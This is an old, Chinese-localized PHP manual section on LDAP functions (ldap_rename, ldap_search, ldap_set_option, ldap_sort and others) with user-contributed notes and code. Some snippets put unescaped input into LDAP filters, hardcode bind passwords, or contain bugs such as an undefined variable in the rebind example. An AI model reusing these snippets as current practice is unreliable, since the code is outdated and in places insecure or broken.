This prints out the specified users mail and surname for example.
askegg at challenger dot com dot au
21-Aug-2003 05:11
In addition to the above you can also use ldap_list for a ONE scope LDAP search.

PHP does not conform to the RFC's in that it does not use scope parameters.  Instead use ldap_read for a scope of BASE, ldap_list for ONE and ldap_search for SUB.
sbarnum at mac dot com
19-Jul-2001 05:15
This differs from ldap_search() by not recursing down to sub-entries.  if you know the dn of the item you're looking for and only want info on that entry, use ldap_read() and pass it the full dn of the item you want.

It also seems that you'd alway want something like objectclass=* for the filter, since you're only searching on one entry.
add a note add a note

后退 | 起点 | 前进
ldap_parse_result | 上一级 | ldap_rename


ldap_rename

(PHP 4 >= 4.0.5, PHP 5)

ldap_rename -- Modify the name of an entry

Description

bool ldap_rename ( resource link_identifier, string dn, string newrdn, string newparent, bool deleteoldrdn )

The entry specified by dn is renamed/moved. The new RDN is specified by newrdn and the new parent/superior entry is specified by newparent. If the parameter deleteoldrdn is TRUE the old RDN value(s) is removed, else the old RDN value(s) is retained as non-distinguished values of the entry. 如果成功则返回 TRUE，失败则返回 FALSE。

注: This function currently only works with LDAPv3. You may have to use ldap_set_option() prior to binding to use LDAPv3. This function is only available when using OpenLDAP 2.x.x OR Netscape Directory SDK x.x, and was added in PHP 4.0.5.

add a note add a note User Contributed Notes
hyc at openldap dot org
06-Oct-2005 07:49
Contrary to Richard Esplin's statement, this *is* the correct function to use for renaming subtrees and moving entries from one place in the tree to another. Just that most LDAP server implementations don't support moving non-leaf entries.

E.g. In OpenLDAP, moving a non-leaf entry is only supported when using the back-hdb database backend. SunOne only has one database backend, and it apparently doesn't handle this type of operation.
venakis at ccf dot auth dot gr
18-Oct-2004 05:52
If you are using Sun Directory Server 5.2, please note that you can't use ldap_rename to move an entry. According to Sun's own documentation: "[...] At this point in time, Directory Server does not support the ability to use the modify DN operation to move an entry from one location in the directory tree to another location." (http://docs.sun.com/source/817-6707/resultcodes.html)
The problem is that php does not return any error and the operation seems to complete succesfully, except for the fact that nothing really happens. If you check the server logs, there will be an "error 53" entry (server is unwilling to perform).
hope this saves someone's couple of hours nasty searching...
cory at shopwithafriend dot net
13-Aug-2004 06:21
When setting a new Rdn value be sure to escape any commas that are not path designators.  I spent several hours trying to move user nodes in AD since their cn was set wrong.  We wanted the cn to be set to: lastname, firstname.

<?php
//In this example we are renaming a node with cn of "jsmith" to "Smith, John"

/*
Setting some variables to values for display purposes.
In a real script the values would probably come from some outside source (file, ldap query, etc...)
*/
$dn = 'cn=jsmith,ou=mygroup,dc=mydomain';
$name = "Smith, John";

// Now replace those pesky commas
$newRdn = "cn=" . str_replace(",", "\\,", $name);

ldap_rename($link, $dn, $newRdn, $newParent, true);
?>
Viper_SB at NOSPAMyahoo dot com
30-Jun-2004 05:41
Since this function isn't documented to well I thought I'd help out those trying to get this to work.

<?php
// $dn is the full DN of the entry you wish to move
$dn = 'cn=user1,ou=group1,dc=mydomain';
/*
   note that $newRdn IS NOT a full DN, it is only the start
   I've NOT gotten it to change attributes for the RDN
   but that could just be my schema
*/
$newRdn = 'cn=user2';
// $newparent IS the full DN to the NEW parent DN that you want to move/rename to
$newParent = 'ou=group2,dc=mydomain';
ldap_rename($link, $dn, $newRdn, $newParent, true);
?>

Like I said above I haven't been able to get it to rename to a DIFFERENT attribute so deleteoldrdn has no affect on it.
Richard Esplin
16-Nov-2003 10:37
ldap_rename can only move leaf nodes of the directory tree. If your ldap entry has any child entries, then ldap_rename is not the tool that you need. We needed to change usernames, but that alters the dn. ldap_rename wouldn't work because each of our user ldap entries has a couple associated child entries. We had to write a function to recursively copy the subtree to the new location, and then delete the original version. Here is the basic algorithm:

function recursive_move($old_username, $new_username)
   ldap_search on the old username to get the correct entry
   ldap_get_attributes to get an array of values from the ldap entry
   foreach attribute in array, replace occurences of $old_username with $new_username
   ldap_add the attribute array into the new location
   ldap_modify any additional attributes
   ldap_list each child entry
   call function recursive_move on each child
   ldap_delete current entry
   return
alex at netflex dot nl
16-Oct-2002 11:29
Works also with eDirectory 8 (NW6).

If you are moving a user, remember that you also change the uid!
04-Apr-2002 07:10
To get this function working make sure that the value for $newrdn is relative.
add a note add a note

后退 | 起点 | 前进
ldap_read | 上一级 | ldap_sasl_bind


ldap_sasl_bind

(PHP 5)

ldap_sasl_bind -- Bind to LDAP directory using SASL

Description

bool ldap_sasl_bind ( resource link [, string binddn [, string password [, string sasl_mech [, string sasl_realm [, string sasl_authz_id [, string props]]]]]] )

警告

本函数暂无文档，仅有参数列表。

Requirement: ldap_sasl_bind() requires SASL support (sasl.h). Be sure --with-ldap-sasl is used when configuring PHP otherwise this function will be undefined.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ldap_rename | 上一级 | ldap_search


ldap_search

(PHP 3, PHP 4, PHP 5)

ldap_search -- Search LDAP tree

Description

resource ldap_search ( resource link_identifier, string base_dn, string filter [, array attributes [, int attrsonly [, int sizelimit [, int timelimit [, int deref]]]]] )

Returns a search result identifier or FALSE on error.

ldap_search() performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory. base_dn specifies the base DN for the directory.

There is an optional fourth parameter, that can be added to restrict the attributes and values returned by the server to just those required. This is much more efficient than the default action (which is to return all attributes and their associated values). The use of the fourth parameter should therefore be considered good practice.

The fourth parameter is a standard PHP string array of the required attributes, e.g. array("mail", "sn", "cn") Note that the "dn" is always returned irrespective of which attributes types are requested.

Note too that some directory server hosts will be configured to return no more than a preset number of entries. If this occurs, the server will indicate that it has only returned a partial results set. This occurs also if the sixth parameter sizelimit has been used to limit the count of fetched entries.

The fifth parameter attrsonly should be set to 1 if only attribute types are wanted. If set to 0 both attributes types and attribute values are fetched which is the default behaviour.

With the sixth parameter sizelimit it is possible to limit the count of entries fetched. Setting this to 0 means no limit. NOTE: This parameter can NOT override server-side preset sizelimit. You can set it lower though.

The seventh parameter timelimit sets the number of seconds how long is spend on the search. Setting this to 0 means no limit. NOTE: This parameter can NOT override server-side preset timelimit. You can set it lower though.

The eighth parameter deref specifies how aliases should be handled during the search. It can be one of the following:

  • LDAP_DEREF_NEVER - (default) aliases are never dereferenced.

  • LDAP_DEREF_SEARCHING - aliases should be dereferenced during the search but not when locating the base object of the search.

  • LDAP_DEREF_FINDING - aliases should be dereferenced when locating the base object but not during the search.

  • LDAP_DEREF_ALWAYS - aliases should be dereferenced always.

注: These optional parameters were added in 4.0.2: attrsonly, sizelimit, timelimit, deref.

The search filter can be simple or advanced, using boolean operators in the format described in the LDAP documentation (see the Netscape Directory SDK for full information on filters).

The example below retrieves the organizational unit, surname, given name and email address for all people in "My Company" where the surname or given name contains the substring $person. This example uses a boolean filter to tell the server to look for information in more than one attribute.

例子 1. LDAP search

<?php
// $ds is a valid link identifier for a directory server

// $person is all or part of a person's name, eg "Jo"

$dn = "o=My Company, c=US";
$filter="(|(sn=$person*)(givenname=$person*))";
$justthese = array("ou", "sn", "givenname", "mail");

$sr=ldap_search($ds, $dn, $filter, $justthese);

$info = ldap_get_entries($ds, $sr);

echo $info["count"]." entries returned\n";
?>

From 4.0.5 on it's also possible to do parallel searches. To do this you use an array of link identifiers, rather than a single identifier, as the first argument. If you don't want the same base DN and the same filter for all the searches, you can also use an array of base DNs and/or an array of filters. Those arrays must be of the same size as the link identifier array since the first entries of the arrays are used for one search, the second entries are used for another, and so on. When doing parallel searches an array of search result identifiers is returned, except in case of error, then the entry corresponding to the search will be FALSE. This is very much like the value normally returned, except that a result identifier is always returned when a search was made. There are some rare cases where the normal search returns FALSE while the parallel search returns an identifier.

add a note add a note User Contributed Notes
buhreen at shaw dot ca
04-Apr-2006 12:12
If you are just trying to run LDAP searches against Active Directory, you might find it easier to use the COM objects and use the ADSI ldap search function.  This allows you to use SQL based LDAP queries.  It also allows you to perform subtree level searches in AD.

Here is a quick example.

<?php

$Conn = New COM("ADODB.Connection");
$RS = New COM("ADODB.Recordset");

$Conn->Provider = "ADsDSOObject";
$Conn->Properties['User ID'] = "CN=ZimZam,CN=Users,DC=corp,DC=ad,DC=bob,DC=prv";
$Conn->Properties['Password'] = "anythingyouwant";
$strConn = "Active Directory Provider";
$Conn->Open($strConn);

$strRS = "Select givenname,sn,displayName,mail,SAMAccountName from 'LDAP://corp.ad.bob.prv/DC=corp,DC=ad,DC=bob,DC=prv' where objectClass='user' and SAMAccountName='abc123';

$RS->Open($strRS, $Conn, 1, 1);
echo $RS['givenname'] ." - ". $RS['sn'] ." - ". $RS['displayName'] ." - ". $RS['mail'] ." - ".  $RS['SAMAccountName'] ."<br>";

$RS->Close;
$Conn->Close;
?>
27-Jan-2006 07:53
HOWTO list LDAP users.

This CODE list one user from LDAP tree, but I' like list all user from LDAP one ou=Organization

<?php

$ldaprdn = 'cn=user,dc=domain,dc=org';
$ldappass = 'password';
$sdn = 'cn=user,ou=group,dc=domain,dc=org';

$ldapconn = ldap_connect("ldap://localhost", 389)
or die("Not connect: $ldaphost ");

if ($ldapconn) {

// binding to ldap server
$ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

// verify binding
if ($ldapbind) {
$filter="uid=*";
$justthese = array("uid");

$sr=ldap_read($ldapconn, $srdn, $filter, $justthese);
$entry = ldap_get_entries($ldapconn, $sr);

} else {
echo "LDAP conn ok...";
}

}

ldap_close($ldapconn);

?>
<?php
echo $entry[0]["mail"][0] . " mail adress ";
echo $entry[0]["sn"][0] . " Name ";
?>
cruzfern at chuchuwa dot com dot ar
31-Aug-2005 12:14
The internal attributes (like createTimestamp, modifyTimestamp, etc), don't come by default (when the optional parameter attributes is not set). You have to specify it:

<?
$r=ldap_search($ds,$base,$filter,array("createTimestamp"));
?>
fmouse at fmp dot com
02-Mar-2005 02:53
It appears that the Netscape Directory SDK (developer.netscape.com) referenced for LDAP filter information is no longer accepting connections.  The A copy of RFC 2254 which defines the standard for string representations of LDAP filters can be found  at http://www.ietf.org/rfc/rfc2254.txt
openldap at mail dot doris dot cc
11-Feb-2005 11:54
PHP 4.3.10

I was trying to do an ldapsearch without a basedn.  First, I tried with ' ', as suggested above, but it gave me invalid dn syntax error.

ie:
$sr=ldap_search($ds, ' ', $filter);
Warning: ldap_search(): Search: Invalid DN syntax in ...

Then I changed it to
$sr=ldap_search($ds, "", $filter);

Which gave me the following error:
Warning: ldap_search(): Search: No such object in ...

With that I then modified my ldap.conf file and commented out the BASE field
#BASE  dc=example, dc=com

Then it worked!

So it looks like if you supply a blank basedn, then it will use your default basedn in ldap.conf.
rsu_friend at yahoo dot com
11-Feb-2005 05:03
I was doing a ldap_search with
$searchbasedn = "miDomainName=" . $_SESSION['selectDomain'] ."," . LDAP_DOMAINBASE;
$filter = "(&(mpsAccountNumber=". $acctNumber .")(objectclass=mpsAccountDetails))";
$attributes = array("mpsparentchild");

 $sr = ldap_search($ldapconn, $searchbasedn, $filter,$attributes);

For some reasone this search was failing
but I was able to do successful search only when I gave the search filter as
$filter = "(&(mpsAccountNumber= $acctNumber )(objectclass=mpsAccountDetails))";

I did not get why the ldap_search was not able to search in the first case.
sema at technion dot ac dot il
05-Sep-2004 01:54
In order to perform the searches on Windows 2003 Server Active Directory you have to set the LDAP_OPT_REFERRALS option to 0:

ldap_set_option($ldap, LDAP_OPT_REFERRALS, 0);

Without this, you will get "Operations error" if you try to search the whole AD schema (using root of the domain as a $base_dn).

As opposed to Windows 2000 Server, where this option was optional and only increased the performance.
chester at the dot underground dot com dot au
20-Nov-2003 05:45
If you are searching active directory and are experiencing lag or time outs, it may be that you are being given ldap referrals from the ldap server. The following code will disable this.

<?
ldap_set_option($connect, LDAP_OPT_REFERRALS, 0);
?>
sembiance at cosmicrealms dot com
17-Nov-2003 10:15
When searching for BINARY data (such as an Active Directory objectGUID) you need to escape each hexadecimal character with a backslash.

The following command line run of ldapsearch shows:
ldapsearch -b "dc=blahblah,dc=com" "(objectGUID=\AE\C3\23\35\F7)"

In PHP, you need to escape the escape for the backslash:
ldap_search($ds,"dc=blahblah,dc=com", "(objectGUID=\\AE\\C3\\23\\35\\F7)");
francis dot tyers at hp dot com
10-Nov-2003 11:53
it seems that all fields must be used in lower case even if they are mixed case in the ldapsearch output.

example:

gidNumber: 1010
homeDirectory: /home/dnt

must be:

echo "gid: " . $info[$i]["gidnumber"][0] . "<br>";
echo "home directory: ". $info[$i]["homedirectory"][0] ."<br>";

not ( $info[$i]["homeDirectory"][0] ) etc.
nicolas at atanis dot net
20-Aug-2003 02:17
Here is a little script that make a complete subtree search ( i know a script above seems do that but it doesnt work fine)
This is my version:

Voila ce que j'ai fait aujourd'hui ...

     $ldap_host = "192.168.0.50";
   $ldap_port = "389";
   $base_dn = "dc=fr";
   $filter = "(cn=*)";
   $ldap_user ="cn=admin,dc=fr";
   $ldap_pass = "hellodelu";
   $connect = ldap_connect( $ldap_host, $ldap_port);
   ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);

   $bind = ldap_bind($connect, $ldap_user, $ldap_pass);
   $read = ldap_search($connect, $base_dn, $filter);

   $info = ldap_get_entries($connect, $read);
   echo $info["count"]." entrees retournees<BR><BR>";
   for($ligne = 0; $ligne<$info["count"]; $ligne++)
   {
       for($colonne = 0; $colonne<$info[$ligne]["count"]; $colonne++)
       {
           $data = $info[$ligne][$colonne];
           echo $data.":".$info[$ligne][$data][0]."<BR>";
       }
       echo "<BR>";
   }
ldap_close($connect);

--------
nicolas
me at gavinadams dot org
16-Aug-2003 04:38
Minor clarification on AD LDAP searchs. Small typo in previous example, and does not display multiple values per attribute. Here's the for loop to enumerate all entries, attributes, and values:

$bind = ldap_bind($connect) // asume anon connect or add user/pass
     or exit(">>Could not bind to $ldap_host<<");
$read = ldap_search($connect, $base_dn, $filter)
     or exit(">>Unable to search ldap server<<");
$info = ldap_get_entries($connect, $read);
echo $info["count"]." entries returned<br>";
// $i = entries
// $ii = attributes for entry
// $iii = values per attribute
for ($i = 0; $i<$info["count"]; $i++) {
  for ($ii=0; $ii<$info[$i]["count"]; $ii++){
     $data = $info[$i][$ii];
     for ($iii=0; $iii<$info[$i][$data]["count"]; $iii++) {
       echo $data.":&nbsp;&nbsp;".$info[$i][$data][$iii]."<br>";
     }
  }
echo "<p>"; // separate entries
php @ fccfurn dot com
12-Apr-2003 06:35
To do subtree search from top DN in Active Directory, Make sure you do your ldap_set_option().

<?php
$ldap_host = "pdc.php.net";
$base_dn = "DC=php,DC=net";
$filter = "(cn=Joe User)";
$ldap_user  = "CN=Joe User,OU=Sales,DC=php,DC=net";
$ldap_pass = "pass";
$connect = ldap_connect( $ldap_host, $ldap_port)
         or exit(">>Could not connect to LDAP server<<");
ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($connect, LDAP_OPT_REFERRALS, 0);
$bind = ldap_bind($connect, $ldap_user, $ldap_pass)
     or exit(">>Could not bind to $ldap_host<<");
$read = ldap_search($connect, $base_dn, $filter)
     or exit(">>Unable to search ldap server<<");
$info = ldap_get_entries($connect, $read);
echo $info["count"]." entries returned<p>";
$ii=0;
for ($i=0; $ii<$info[$i]["count"]; $ii++){
   $data = $info[$i][$ii];
   echo $data.":&nbsp;&nbsp;".$info[$i][$data][0]."<br>";
}
ldap_close($connect);
?>
Kamil Kukura <kamk at nexen dot cz>
27-Feb-2003 01:20
When I tried to search with empty base DN on OpenLDAP server which had "" namingContext I got result "no such object". In the log file there was query for dn: dc=example,dc=com (!).
As a workaround, it seems it's enough to feed it with space (' ') as base DN - ldap_search($ds, ' ', '(...filter...)', ...
neumeyed at city dot bloomington dot in dot us
30-Jan-2003 08:50
A previous comment noted: "I've also noticed that the departmentNumber, employeeNumber (and maybe others in inetorgperson.schema) are not returned from a search."

This is incorrect. These attributes are returned, but you must reference them with lowercase names. That is, instead of doing this:

$entries[0]["departmentNumber"][0]

Do this:

$entries[0]["departmentnumber"][0]

This doesn't seem like "correct" behavior to me, but I don't know enough about LDAP to say for sure.
nick dot veitch at futurenet dot co dot
18-Jan-2003 12:59
It might be useful to list here the operators that work:

=        - matches exact value
=*xxx  - matches values ending xxx
=xxx*  - matches values beginning xxx
=*xxx* - matches values containing xxx
=*      - matches all values (if set - NULLS are not returned)

>=xxx  - matches everthing from xxx to end of directory
<=xxx  - matches everything up to xxx in directory

~=xxx      - matches similar entries (not all systems)

Boolean operators for constructing complex search

&(term1)(term2)  - matches term1 AND term2
| (term1)(term2)  - matches term1 OR term2
!(term1)                - matches NOT term1
&(|(term1)(term2))(!(&(term1)(term2)) - matches XOR term1 term2

some of the more compelx constructions seem to work with varying  degrees of efficiency - sometimes it can be better to filter some of the results with the search and do further filtering in PHP.
emrecio at netscape dot net
01-Oct-2002 11:42
implode(", ",$uentry[0]["rfc822mailalias"]);

doesn't work as expected because "count" is in there... one /must/ use the 'for' loop to cycle through results (discarding "count" element).
jpdalbec at ysu dot edu
09-Sep-2002 10:33
I've found that spaces need to be escaped in search filters ("\20"), at least using the Red Hat PHP 4.1.2 package.  Otherwise no results are returned.
john_taylor_1973 at yahoo dot com
28-Jun-2002 05:26
Try to use ldap_list(), if possible.  It is much faster.  ldap_search searches a scope of LDAP_SCOPE_SUBTREE, but ldap_list searches a scope of just LDAP_SCOPE_ONELEVEL.  This made a big difference on Novell eDirectory 8.6.1, even for a query that only returned 130 objects.  Using an attribute list, the 4th function parameter (of either function), also made queries faster.
01-Sep-2001 10:13
I used the following to retrieve all entries from an ILS (Netmeeting) Server:<p>    $sr=ldap_search($ds, "objectclass=rtperson","(&(cn=%)(objectclass=rtperson))");
<p>Have fun!
<p>Kees
cdaveb at csua dot berkeley dot edu
03-Jan-2001 09:23
FYI, for those doing LDAP searches on Exchange servers, there seems to be some preference in Exchange to disallow searches that aren't initial searches (i.e. only x* will work, not * or *x). I'd been going nuts trying to figure out why I kept getting errors doing * searches.

More info at:
http://www.microsoft.com/Exchange/en/55/help/documents/server/XOG16007.HTM
aa529 at nospamchebucto dot ns dot ca
22-Nov-1999 05:27
Be careful of special characters when generating filters from user input.

*, (, ), \ and NUL should be backslash-escaped. See section 4 of RFC 2254 (I found it here:
http://www.cis.ohio-state.edu/htbin/rfc/rfc2254.html)
add a note add a note

后退 | 起点 | 前进
ldap_sasl_bind | 上一级 | ldap_set_option


ldap_set_option

(PHP 4 >= 4.0.4, PHP 5)

ldap_set_option -- Set the value of the given option

Description

bool ldap_set_option ( resource link_identifier, int option, mixed newval )

Sets the value of the specified option to be newval. 如果成功则返回 TRUE，失败则返回 FALSE。 on error.

The parameter option can be one of: LDAP_OPT_DEREF, LDAP_OPT_SIZELIMIT, LDAP_OPT_TIMELIMIT, LDAP_OPT_PROTOCOL_VERSION, LDAP_OPT_ERROR_NUMBER, LDAP_OPT_REFERRALS, LDAP_OPT_RESTART, LDAP_OPT_HOST_NAME, LDAP_OPT_ERROR_STRING, LDAP_OPT_MATCHED_DN, LDAP_OPT_SERVER_CONTROLS, LDAP_OPT_CLIENT_CONTROLS. Here's a brief description, see draft-ietf-ldapext-ldap-c-api-xx.txt for details.

The options LDAP_OPT_DEREF, LDAP_OPT_SIZELIMIT, LDAP_OPT_TIMELIMIT, LDAP_OPT_PROTOCOL_VERSION and LDAP_OPT_ERROR_NUMBER have integer value, LDAP_OPT_REFERRALS and LDAP_OPT_RESTART have boolean value, and the options LDAP_OPT_HOST_NAME, LDAP_OPT_ERROR_STRING and LDAP_OPT_MATCHED_DN have string value. The first example illustrates their use. The options LDAP_OPT_SERVER_CONTROLS and LDAP_OPT_CLIENT_CONTROLS require a list of controls, this means that the value must be an array of controls. A control consists of an oid identifying the control, an optional value, and an optional flag for criticality. In PHP a control is given by an array containing an element with the key oid and string value, and two optional elements. The optional elements are key value with string value and key iscritical with boolean value. iscritical defaults to FALSE if not supplied. See also the second example below.

注: This function is only available when using OpenLDAP 2.x.x OR Netscape Directory SDK x.x, and was added in PHP 4.0.4.

例子 1. Set protocol version

<?php
// $ds is a valid link identifier for a directory server
if (ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
    echo "Using LDAPv3";
} else {
    echo "Failed to set protocol version to 3";
}
?>

例子 2. Set server controls

<?php
// $ds is a valid link identifier for a directory server
// control with no value
$ctrl1 = array("oid" => "1.2.752.58.10.1", "iscritical" => true);
// iscritical defaults to FALSE
$ctrl2 = array("oid" => "1.2.752.58.1.10", "value" => "magic");
// try to set both controls
if (!ldap_set_option($ds, LDAP_OPT_SERVER_CONTROLS, array($ctrl1, $ctrl2)))
    echo "Failed to set server controls";
?>

See also ldap_get_option().

add a note add a note User Contributed Notes
hansfn at gmail dot com
23-May-2006 07:23
Luckily you can turn on debugging before you open a connection:

  ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);

This way you at least can see in the logs if the connection fails...
minusf at gmail dot com
31-Oct-2005 05:59
it seems that ldap_set_option returns 1 for bogus ldap_connect -ions also.
ldap_connect always returns a resource (documented in the
comments of ldap_connect) so it is not possible to check if the
ldap server is there or alive or what.  and because ldap_set_option
must be between ldap_connect and ldap_bind, there seems to
be no sense in checking the return value.

it is a bit strange that ldap_bind is the first function which can
really check if a ldap resource is usable because it is the third
function in line to use when working with openldap.

<?php
$connect = ldap_connect("whatever");
$set = ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);
echo $set;
?>
soulbros at yahoo dot com
27-Feb-2002 07:56
As john.hallam@compaq.com above mentioned ,one  has to set option LDAP_OPT_PROTOCOL_VERSION=3
ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
to use the ldap_rename function.

However, the ldap_set_option() line has to be written immediately after ldap_connect() and before ldap_bind() statements.

Christos Soulios
john dot hallam at compaq dot com
29-Jan-2002 02:00
To get this to work I had to set the LDAP version to 3 using ldap_set_option. Here is an example that might help:

$TheDN = "cn=john smith,ou=users,dc=acme,dc=com";
$newRDN = "cn=bill brown";
$newParent = "ou=users,dc=acme,dc=com";
ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
@$result = ldap_rename($ds, $TheDN, $newRDN, $newParent, TRUE);
add a note add a note

后退 | 起点 | 前进
ldap_search | 上一级 | ldap_set_rebind_proc


ldap_set_rebind_proc

(PHP 4 >= 4.2.0, PHP 5)

ldap_set_rebind_proc -- Set a callback function to do re-binds on referral chasing

Description

bool ldap_set_rebind_proc ( resource link, callback callback )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
pearcec at commnav dot com
02-May-2003 07:09
PHP expects the ldap function ldap_set_rebind_proc to be the one that has tree parameters.  As far as I can tell this isn't in the 2.0 release of OpenLDAP.  But made it into 2.1.  Configure will tell you

checking for 3 arg ldap_set_rebind_proc... no
night0wl at frost dot ath dot cx
02-Apr-2003 11:19
Couse there was no example code for this function, i had alot of troubles to make it work properly.

So, here is working example:

function rebind_on_ref ($ds, $ldap_url) {
  global $binddn;    // DN used to bind
  global $bindpw;    // password used to bind

  // required by most modern LDAP servers, use LDAPv3
  ldap_set_option($a, LDAP_OPT_PROTOCOL_VERSION, 3);

  if (!ldap_bind($a,$binddn,$bindpw)) {
       print "Cannot bind";
  }
}
randy at kotmail dot com
25-Apr-2002 07:46
If rebind_proc isn't compiled in slapd, your will never get that funtction working. Check out the new alpha release of slapd and rtfm.
add a note add a note

后退 | 起点 | 前进
ldap_set_option | 上一级 | ldap_sort


ldap_sort

(PHP 4 >= 4.2.0, PHP 5)

ldap_sort -- Sort LDAP result entries

Description

bool ldap_sort ( resource link, resource result, string sortfilter )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
huntz at huntz dot org
18-May-2005 12:12
About the note of ccblanket at yahoo dot com...

Nice tip, but on line 2 of your example we need to use $ldapSortAttributes and not $ldapSortAttribues :-)

So, the whole correct function is:

<?php
   $ldapFilterAttributes = array ('givenname', 'sn', 'mail');
   $ldapSortAttributes = array('sn', 'givenname');

   $ldapFilter = "(&(sn='')(givenname=''))";

   $ldapBaseDN = 'ou=users, dc=example, dc=com';

   $search = @ldap_search($ldapConnect, $ldapBaseDN, $ldapFilter, $ldapFilterAttributes) ;
   if (!($search)) {
       die("Unable to search LDAP server");
   }

   foreach ($ldapSortAttributes as $eachSortAttribute) {
       if (in_array($eachSortAttribute, $ldapFilterAttributes)) {
           ldap_sort($this->connect, $search, $eachSortAttribute);
       }
   }

   $results = ldap_get_entries($this->connect, $search);

print_r($results);
?>
ccblanket at yahoo dot com
06-Mar-2005 01:30
It is interesting people are using all these methods to sort multi-attribute results from LDAP searches. Well, here is a simpler one. Just use ldap_sort once for each sort attribute in the reverse order of importance.

--hikmet

<?php
   $ldapFilterAttributes = array ('givenname', 'sn', 'mail');
   $ldapSortAttribues = array('sn', 'givenname'); // ie. sort by givenname, then by sn

   $ldapFilter = "(&(sn='')(givenname=''))";

   $ldapBaseDN = 'ou=users, dc=example, dc=com';

   $search = @ldap_search($ldapConnect, $ldapBaseDN, $ldapFilter, $ldapFilterAttributes) ;
   if (!($search)) {
       die("Unable to search LDAP server");
   }

   // lets sort the results by firstname if firstname is in the results
   foreach ($ldapSortAttributes as $eachSortAttribute) {
       if (in_array($eachSortAttribute, $ldapFilterAttributes)) { // making sure we don't accidentally try to sort against an inexisting field
           ldap_sort($this->connect, $search, $eachSortAttribute);
       }
   }

   // and here is the result
   $results = ldap_get_entries($this->connect, $search);
?>
ben at xsusio dot com
04-Sep-2004 05:33
If you are wanting to sort by multiple attributes, for instance ordering by last name and then first name,  try this function. This is similar to "ORDER BY lastname, firstname"  in SQL.

This function uses an insertion sort algorithm, which is somewhat faster then the old-fashoned bubble sort.  The second argument is an array containing the attributes you want to sort by. (this functon won't do descending or ascending..  feel free to add it!)

<?php
/**
 * @param array $entries
 * @param array $attribs
 * @desc Sort LDAP result entries by multiple attributes.
*/
function ldap_multi_sort(&$entries, $attribs){
   for ($i=1; $i<$entries['count']; $i++){
       $index = $entries[$i];
       $j=$i;
       do {
           //create comparison variables from attributes:
           $a = $b = null;
           foreach($attribs as $attrib){
               $a .= $entries[$j-1][$attrib][0];
               $b .= $index[$attrib][0];
           }
           // do the comparison
           if ($a > $b){
               $is_greater = true;
               $entries[$j] = $entries[$j-1];
               $j = $j-1;
           }else{
               $is_greater = false;
           }
       } while ($j>0 && $is_greater);

       $entries[$j] = $index;
   }
   return $entries;
}
?>
zbaizman at yahoo dot com
07-Aug-2004 09:15
This note may be self-evident, but the functionality of ldap_sort threw off this sometime user of relational databases.

The following code will NOT do what you expect:

<?php

// omitted calls to connect and and bind to LDAP server...

// attributes we want to retrieve from LDAP server
$ldap_attributes = array ( 'cn', 'o', 'mail' ) ;

// retrieve attributes from matching entries
$search_results = ldap_search ( $ldap_conn, 'dc=example,dc=org', '(objectclass=*)', 0, 500, 30 ) ;

// sort entries by last name ('sn')
ldap_sort ( $ldap_conn, $search_results, 'sn' ) ;

?>

The entries will NOT be sorted by last name. Why not? Because LDAP doesn't function like a RDBMS; you cannot sort a result set on an arbitrary field, regardless of whether you "selected" it. You must always include the attribute by which you want to sort your entries among the requested attributes (add 'sn' to $ldap_attributes, in this case).

Hope this is helpful to some other folks who scratched their heads when they tried to sort entries and it didn't work out...
helmut dot patay at scandio dot de
22-Apr-2004 06:02
If you want to sort the search results based on any attribute reverse,
please do not use the examples above containing two loops!
You will end up in changing php.ini with increasing the value
of 'max_execution_time' dramatically. No one will use your website
again!
I have used the following construct and it works very well:

// write this function
function myReverseCnCmp( $a, $b ) {
   // Note: $b comes before $a because of reverse ordering
   return strcasecmp( $b[cn][0], $a[cn][0] );
}

// search
$sr = ldap_search( $ds, $baseDn, $filter );

// before reading the entries, you must sort normally
// in my example I use the attribute 'cn' for sorting
// instead of cn you can use any other attribute
ldap_sort( $ds, $sr, "cn" )

// read the entries
$entries = ldap_get_entries( $ds, $sr );

// now sort the array reverse with usort
usort( $entries, "myReverseCnCmp" );

// now $entries is sorted reverse based on "cn"

// This runs at least 5 times faster than the double loop
// solutions

// Note: If you want to sort reverse based on dynamic
// attribute names, you must do some if's or switch'es,
// but it's really fast!
john at benden dot co dot uk
12-Apr-2004 07:30
An alternative for multivalue sorting for ldap queries:

function cmp($a,$b) {
   global $fld1,$fld2,$fld3; // getting the fld defs from the main routine
   global $info; // get search results from the main routine
   $d=strcasecmp($info[$a][$fld1][0],
                       $info[$b][$fld1][0]);
   if ($d==0) {
     $d = strcasecmp($info[$a][$fld2][0],
                             $info[$b][$fld2][0]);
     if ($d==0) {
       $d= strcasecmp($info[$a][$fld3][0],
                             $info[$b][$fld3][0]);
     }
   }
   if ($d==0) {
     return 0;
   } else {
     return ($d>0)? 1 : -1;
   }
}
//
// connect to the directory server
//
$ds=ldap_connect("localhost",389);
ldap_bind($ds,"","");
//
// setup the search
//
$basedn="o=org";
$search="(sn=foo)"
$searchattr=array('sn','givenname','desc','telephonenumber',
'cn','mail');
//
// do the search
//
$sr=ldap_search($ds, $basedn, $search,$searchattr);
//
// verify that the search was ok
//
if (ldap_count_entries($ds,$sr)==0) {
   echo "<BR><H1>No results</H1>";
} else {
   // some results found
   // get the search results
   $info = ldap_get_entries($ds, $sr);
   // setup the sorting fields
   $fld1="sn";
   $fld2="givenname";
   $fld3="desc"; // there maybe a better attribute
   uksort($info,"cmp"); // use a key sort
   //
   // Setup results
   //
   echo "<table><tr><th>Name</th>";
   echo "<th>Phone</th> <th>Mail</th>";
   echo "<th>desc</th> </tr>";
   while (list($i, $value) = each($info)) {
     echo "<tr><td>" . $info[$i]["cn"][0] . "</td><td>";
     echo $info[$i]["telephonenumber"][0] . "</td><td>";
     echo $info[$i]["mail"][0] . "</td><td>";
     echo $info[$i]["desc"][0] . "</td></tr>";
   }
   echo "</table>";
   ldap_free_result($sr);
}

ldap_close($ds);

i hope this helps!
askgopal at sify dot com
04-Sep-2003 11:07
